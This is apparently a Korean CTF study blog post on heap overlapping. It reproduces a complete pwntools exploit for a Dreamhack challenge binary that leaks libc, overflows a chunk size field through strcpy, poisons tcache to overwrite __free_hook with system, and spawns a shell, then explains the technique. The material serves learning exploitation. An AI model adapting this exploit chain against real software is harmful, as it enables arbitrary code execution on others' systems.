what is heap overlapping

heap 에 대한 새로운 공격 접근 방식을 배웠다. 일면 heap overlapping이다.

원문은

Python
from pwn import *
p = process("./public/prob/prob")
# p = remote("host1.dreamhack.games", "15560")

def make_note(index, length, info):
    p.sendlineafter(">>", "1")
    p.sendlineafter(">>", str(index))
    p.sendlineafter(">>", str(length))
    p.sendlineafter(">>", info)
    
def make_note2(index, length, info):
    p.sendlineafter(">>", "1")
    p.sendlineafter(">>", str(index))
    p.sendlineafter(">>", str(length))
    p.sendafter(">>", info)

def copy_note(src, dist):
    p.sendlineafter(">>", "2")
    p.sendlineafter(">>", str(src))
    p.sendlineafter(">>", str(dist))

def remove_note(index):
    p.sendlineafter(">>", "3")
    p.sendlineafter(">>", str(index))

def change_name(name):
    p.sendlineafter(">>", "4")
    p.sendlineafter(">>", name)

elf = ELF("./public/prob/prob")
libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.31.so")

# libc를 간단하게 릭할 수 있습니다 (변수를 초기화하지 않아 생기는 취약점)
p.sendafter("name?\n", "\x0a")
libc_leak = u64(p.recvuntil(", ").replace(b", ", b"").ljust(8, b"\x00"))
libc_base = libc_leak - 0x1f0f0a
print(hex(libc_base))

for _ in range(8):
    make_note(0, 0x8, "A"*0x8)
for _ in range(8):
    remove_note(0)

# 0x30, 0x30, 0x40, 0x30, 0x70크기의 청크를 생성합니다
make_note(0, 0x28, b"1"*0x28)
make_note(1, 0x28, b"A"*0x28)
make_note(2, 0x38, b"B"*0x38)
make_note(3, 0x28, b"C"*0x28)
make_note(4, 0x68, b"D"*0x68)

# 1에 3을 복사하게 되면 0x71이 2번 노트의 size인 0x41을 덮게 됩니다
copy_note(3, 1)

# tcache개수를 늘려주기 위해 0을 free하고, 2와 3은 서로 overlapping되어 있습니다
remove_note(0)
remove_note(2)
remove_note(3)

# 0x68을 malloc하는데, 이 청크는 overlapping되어 있으므로 next를 free_hook로 조작할 수 있습니다
make_note(5, 0x68, b"A"*0x38+p64(0x31)+p64(libc_base+libc.symbols['__free_hook']))
make_note(6, 0x28, p64(libc_base+libc.symbols['system']))\

# 이 청크는 free_hook에 alloc되어 있습니다
make_note2(7, 0x28, b"\x00")

# binsh가 담겨있는 ptr을 만듭니다
make_note(8, 0x28, "/bin/sh\x00")

# system의 내용을 free_hook에 넣습니다
copy_note(6, 7)

# free(ptr) -> system("/bin/sh\x00")으로 동작하며 쉘이 따지게 됩니다
remove_note(8)

p.interactive()


우선 문제의 의도는 strcpy의 취약점을 이용하는 것입니다.

해당 프로그램의 경우 src의 크기가 dist의 크기보다 크면 strncpy를, 그렇지 않다면 strcpy를 씁니다.
얼핏 보면 문제가 없어보이지만, strcpy는 null을 만나기 전까지 복사하기 때문에 문제가 생기게 됩니다.

만약 문자 입력을 "A"x(0x28) 로 한다면 0x30크기의 청크가 malloc되게 되고 A 직후에는 그 다음 청크의 사이즈가 오게 됩니다.

이 취약점을 이용하면 임의의 힙 사이즈를 원하는 사이즈로 변경할 수 있게 됩니다.
위와 같은 방법을 이용해 청크 2개를 겹치게 한 후 free->malloc해서 한 free 청크의 next를 freehook로 덮습니다.
그러면 freehook의 위치에 청크를 할당할 수 있게 되고, 이를 system으로 바꾸게 되면 free(ptr)이 system(ptr)로 동작합니다.
해당 ptr에 binsh가 들어있다면 system("/bin/sh")가 되어 쉘을 딸 수 있습니다.

다음과 같은 writeup을 보면서 처음으로 접했다. 일단, 핵심아이디어는

heap chunk에서 overflow가 가능하면 다음 붙어있는 chunk (이하 A chunk ) 의 size 필드를 덮어쓴다 → 해당 A chunk를 free 하면 이 청크가 size가 큰게 되니깐 다음에 바로 붙어 있는 ( 이하 청크 B ) 와 겹쳐진다. 따라서 B청크를 free 한다음에 A 청크를 다시 할당 받고 덮어쓰면 tcache poistioning이 된다.

와 같은 아이디어이다. 상당히 아름다운 공격인것 같다.